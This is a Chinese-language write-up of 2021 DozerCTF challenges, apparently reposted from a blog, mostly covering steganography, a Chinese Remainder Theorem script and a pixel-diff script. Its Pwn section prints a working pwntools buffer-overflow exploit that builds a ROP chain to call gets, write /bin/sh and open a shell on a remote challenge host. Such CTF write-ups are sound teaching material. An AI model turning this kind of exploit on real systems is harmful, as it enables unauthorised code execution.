当前位置:网站首页>2021DozerCTF

2021DozerCTF

2022-08-10 20:29:00 MssnHarvey

Misc

不会有人以为re那道才是签到吧

B站视频藏有flag:DozerCTF{w3lc0me_to_Do2erCTF}

ezmisc

binwalk + foremost 分离出个 gif 和 png ①.gif 分离发现二维码不对劲,于是乎回到图片根据gif的头和尾手工分离出gif,得到有用信息:DozerCTF{is_it_simple

②.png 零宽,通过在线网站解码得到有用信息:_for_you!congratulate}

最终整理得到flag:DozerCTF{is_it_simple_for_you!congratulate}

detective_novel

老套娃了!上手 binwalk + foremost分离出两张图片,接着再分离一波hint.png得到一加密包,but 我们用bandzip就是未加密,跳舞小人解得key为DOZER

最后根据hint的图片提示得知是outguess,解密得到flag:DozerCTF{Y0u_arE_h0lME4}

outguess -k "DOZER" -r flag.jpg flag.txt

一点也不杂

①.日历画图 将图片用记事本打开滑到最底下发现一串数字,通过日历将其逐个连接得到:DOYOUKNOW_CRT

040513202625181104
0506071522282726181105
051307132027
0506071522282726181105
051219262728211407
0512192606122028
26191205132129221508
0506071522282726181105
0325052707
252627
07060504111825262728
25181104050612111927
05060706132027

②.中国剩余定理 百度找个脚本跑下得到key为5007

# 求两个数的最大公约数gcd函数
def gcd(a,b):
    if b == 0:
        return a
    else :
        return gcd(b,a % b)

# 判断一个列表任意两个数是否两两互质
def compare(list):
    for i in range(0,len(list)):
        flag = 1
        for j in range(i+1,len(list)):
            if gcd(list[i],list[j]) != 1:
                print('不能直接使用中国剩余定理!')
                exit()
#如果满足条件,就会继续执行,否则退出程序

# 求出输入的m1,m2,..,mk 的乘积m
def product_m(list):
    m = 1
    for i in list:
        m *= i
    return m

# 求M1,M2,..,MK 的值 Mj = m / mj 并返回一个名为shang的列表
def get_divsion(list,m):
    div = []
    for i in list:
        div.append(m // i)
    return div

def get_inverse(a, m):  # 求一个数a 的逆  再模m 的值  这个函数返回的是一个值不是列表
    if gcd(a, m) != 1:
        return None
    u1, u2, u3 = 1, 0, a
    v1, v2, v3 = 0, 1, m
    while v3 != 0:
        q = u3 // v3
        v1, v2, v3, u1, u2, u3 = (u1 - q * v1), (u2 - q * v2), (u3 - q * v3), v1, v2, v3
    return u1 % m

# 求Xj   算法为:Xj = (M * M_INVERSE * a) % mj
def get_x(M:int ,M_inverse:int ,a :int,m:int):
    product_x = (M * M_inverse * a) % m
    return product_x

# 算出最终答案X = X1+X2+...Xk
def get_solution(list_m, list_a):
                                                        # compare(list_m)
    m = product_m(list_m)

    list_M = get_divsion(list_m, m)

    list_M_inverse = []
    list_X = []
    total = 0

    for i in range(0,len(list_M)):
        list_M_inverse.append(get_inverse(list_M[i], list_m[i]))

    for i in range(len(list_M)):
        list_X.append(get_x(list_M[i],list_M_inverse[i],list_a[i],m))

    for x in list_X:
        total += x

    return total % m

# #测试数据
# list_a = [2,3,2]
# list_m = [3,5,7]
list_a = [2,2,9,16]
list_m = [5,7,17,23]
print(get_solution(list_m, list_a))

③.base85解码

最终整理得到flag:DozerCTF{DOYOUKNOW_CRT5007_good_over}

funny_pixel

对比两张一样的图片找到不同的像素点,然后将每张图片的0和1提取出来8位一组转字符,得到flag:DozerCTF{D0_yOU_LIke_PixEl} 附上脚本

from PIL import Image
res = ''
for a in range(1,219):
    img = Image.open('./funny_pixel/'+str(a)+'.png')
    x, y = img.size
    t = 0
    for i in range(x):
        for j in range(y):
            p = img.getpixel((i,j))
            if p ==(239, 239, 39):
                t+=1
    if t==10:
        res+='0'
    else:
        res+='1'
tmp=[]
for i in range(len(res)//8):
    tmp.append(res[i*8:i*8+8])
for i in tmp:
    print(chr(int(i,2)),end='')

Pwn

PwnPwnPwn

调用gets函数直接向string写入/bin/sh,得到flag:Dozerctf{pwn_is_so_good_i_love_pwn}

附上exp

from pwn import *

p=remote("1.14.160.21","20001")

payload='A'*0x78+p64(0x401313)+p64(0x404060)+p64(0x401080)+p64(0x401176)
p.sendline(payload)
p.interactive()

Reverse

i wanna 大晚上特供版

gm8decompiler解包得到.gmk文件在gamemake中打开,最终在背景图中找到flag:Dozerctf{i_wanna_To_be_THE_gay}

.\gm8decompiler.exe "I Wanna Be The Guy Remake 8.exe"

Web

简单域渗透Ⅱ-1

根据提示账号密码为dozer/dozer123进入后台,发现有日志,翻了翻找到了文件名成功坐上大佬的车

于是乎直接读flag得到flag:Dozerctf{k94jf8ejdbzks2l4o40rjdnfewrkyosd}

原网站

版权声明
本文为[MssnHarvey]所创,转载请带上原文链接,感谢
https://cloud.tencent.com/developer/article/2070017